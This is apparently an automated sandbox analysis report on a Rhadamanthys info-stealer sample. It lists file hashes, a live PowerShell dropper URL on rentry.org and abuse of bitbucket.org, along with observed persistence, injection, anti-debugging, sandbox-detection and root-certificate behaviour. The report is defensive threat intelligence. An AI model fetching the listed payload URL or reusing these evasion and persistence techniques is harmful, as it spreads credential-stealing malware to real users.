rhadamanthys | c8a5706670148888bd448afb81461174e3fce66526bdba523ae56639c15edf0f

Analysis

max time kernel
130s
max time network
135s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
27-06-2024 14:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Freedom/Freedom.exe
Size

8KB
MD5

4fbb04c9e3aa983cbfc4980a7b5b7041
SHA1

34aeca658462e638521bc384a4935251678a9a78
SHA256

24f095f4f5796561cc9f9c60f71a2182fee89692f239c92e7447af3461e12731
SHA512

615534039ad97fea8c881656a53b6b0ead41e3770e0a3f3cd38052585dc5a102ab25b824c59c3142b75f6b62e56ff46ab981e27c889ded28a5cc2884581863bc
SSDEEP

192:Gh9Lz2jG4pFMYqLDQ1bhxZzzzhGjcJr9emxan6+UqawcTnYPvkVNxdpD:Gh9Liy4kLDQHtGjcJrQmxan6+/xcTnYg

Score

10^/10

rhadamanthys discovery evasion execution persistence stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/pancek61111111111111/raw

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

rngdwwxv.c5a1.exe

description pid process target process

PID 4668 created 3028 4668 rngdwwxv.c5a1.exe sihost.exe
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exepowershell.exemsiexec.exepowershell.exe

flow pid process

2 4340 powershell.exe
3 4340 powershell.exe
102 4476 powershell.exe
114 5608 msiexec.exe
135 2296 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

4340 powershell.exe
4476 powershell.exe
2296 powershell.exe
248 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 10 IoCs

Processes:

rngdwwxv.c5a0.exerngdwwxv.c5a1.exerngdwwxv.c5a2.exerngdwwxv.c5a3.exeSteam.exeSteam.exeSteam.exeosu!install.exeosu!.exeosu!.exe

pid process

4936 rngdwwxv.c5a0.exe
4668 rngdwwxv.c5a1.exe
1180 rngdwwxv.c5a2.exe
920 rngdwwxv.c5a3.exe
5804 Steam.exe
4436 Steam.exe
2084 Steam.exe
5828 osu!install.exe
5928 osu!.exe
3124 osu!.exe

description	pid	process	target process
PID 4668 created 3028	4668	rngdwwxv.c5a1.exe	sihost.exe

flow	pid	process
2	4340	powershell.exe
3	4340	powershell.exe
102	4476	powershell.exe
114	5608	msiexec.exe
135	2296	powershell.exe

Loads dropped DLL 26 IoCs

Processes:

rngdwwxv.c5a0.exeSteam.exeSteam.exeSteam.exeMsiExec.exeMsiExec.exeMsiExec.exeosu!.exe

pid	process
4936	rngdwwxv.c5a0.exe
4936	rngdwwxv.c5a0.exe
4936	rngdwwxv.c5a0.exe
4936	rngdwwxv.c5a0.exe
5804	Steam.exe
4436	Steam.exe
2084	Steam.exe
4436	Steam.exe
4436	Steam.exe
4436	Steam.exe
4436	Steam.exe
5396	MsiExec.exe
5396	MsiExec.exe
5396	MsiExec.exe
5396	MsiExec.exe
5552	MsiExec.exe
5096	MsiExec.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Users\Admin\Videos\Captures\desktop.ini svchost.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Videos\Captures\desktop.ini	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 bitbucket.org
3 bitbucket.org
Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

5628 powercfg.exe
5492 powercfg.exe
2792 powercfg.exe
4552 powercfg.exe

flow	ioc
1	bitbucket.org
3	bitbucket.org

pid	process
5628	powercfg.exe
5492	powercfg.exe
2792	powercfg.exe
4552	powercfg.exe

Drops file in System32 directory 7 IoCs

Processes:

rngdwwxv.c5a2.exesvchost.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	rngdwwxv.c5a2.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\RunNodeScriptAtLogon	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

osu!.exe

pid process

3124 osu!.exe
3124 osu!.exe
3124 osu!.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

rngdwwxv.c5a2.exe

description pid process target process

PID 1180 set thread context of 5456 1180 rngdwwxv.c5a2.exe dialer.exe

pid	process
3124	osu!.exe
3124	osu!.exe
3124	osu!.exe

description	pid	process	target process
PID 1180 set thread context of 5456	1180	rngdwwxv.c5a2.exe	dialer.exe

Drops file in Program Files directory 64 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\configuring-npm\install.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\signer\fulcio\ephemeral.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\aproba\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\retry\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-cache.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\calc-dep-flags.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\index.js.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\utils\update-notifier.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@tufjs\canonical-json\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\foreground-child\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmdiff\lib\untar.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\npx	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\lib\util\tmp.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\parse-conflict-json\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\which\node_modules\isexe\dist\mjs\posix.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmdiff\lib\should-print-patch.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\lib\type-defs.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jsonparse\bench.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\npm.ps1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\policy.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@tufjs\models\dist\error.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\string-width\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\which\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\node-gyp\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\are-we-there-yet\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\index.d.ts.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\hosted-git-info\lib\from-url.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\mkdirp\lib\opts-arg.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\dist\tokenize.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\string-width\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\treeverse\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@tufjs\models\dist\base.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jackspeak\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\negotiator\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\pacote\lib\file.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\fs\lib\cp\errors.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\CHANGELOG.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\dist\selectors\tag.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\npm.cmd	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmpublish\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@pkgjs\parseargs\examples\negate.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\tables\gbk-added.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\packaging\_elffile.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\safer-buffer\safer.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-config.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-dist-tag.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\fs\lib\cp\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\cssesc\LICENSE-MIT.txt	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\fs-minipass\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jsonparse\jsonparse.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\npm-profile\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\spdx-correct\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-prefix.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@colors\colors\lib\maps\america.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@pkgjs\parseargs\internal\util.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmdiff\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-bugs.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\is-cidr\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\sigstore\dist\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\tuf-js\dist\updater.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmorg\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@isaacs\cliui\node_modules\string-width\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\bin\lib\logging.js	msiexec.exe

Drops file in Windows directory 20 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Windows\SystemTemp\~DF90F822B8BBEAC98B.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9133.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFEE163DD64C17141A.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8C9E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e588289.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8519.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8549.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF33E1B4B79F8BB15C.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC4D7.tmp	msiexec.exe
File created	C:\Windows\Installer\e58828d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC797.tmp	msiexec.exe
File created	C:\Windows\Installer\e588289.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8569.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0239C900E281CD3A.TMP	msiexec.exe

Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4660 sc.exe
5380 sc.exe
4408 sc.exe
5608 sc.exe
3480 sc.exe
5376 sc.exe
2392 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4660	sc.exe
5380	sc.exe
4408	sc.exe
5608	sc.exe
3480	sc.exe
5376	sc.exe
2392	sc.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies Internet Explorer settings 1 TTPs 7 IoCs

adware spyware

Modify Registry

T1112

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Main	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	Explorer.EXE

Modifies data under HKEY_USERS 17 IoCs

Processes:

OfficeClickToRun.exemsiexec.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={1E28DBCA-4FB1-4920-BB1F-985D25199651}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1719496984"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 27 Jun 2024 14:03:05 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe

Modifies registry class 33 IoCs

Processes:

msiexec.exemsedge.exesvchost.exeExplorer.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductName = "Node.js"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\E520.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\DocumentationShortcuts	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNode = "EnvironmentPath"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\PackageCode = "AC6AA920FB9737143A7998E5BED98A71"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Version = "336330754"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1276817940-128734381-631578427-1000\{42FE3329-FBB3-42BD-9E41-0FAB3CFFC417}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\corepack	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1276817940-128734381-631578427-1000\{DF41A43E-200D-4347-9F90-A5DBC592DE0B}	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNpmModules = "EnvironmentPath"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductIcon = "C:\\Windows\\Installer\\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\\NodeIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\PackageName = "nodejs-installer.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPath	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\E520.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\NodeRuntime	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\npm	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media\1 = ";"	msiexec.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

osu!.exe

description	ioc	process
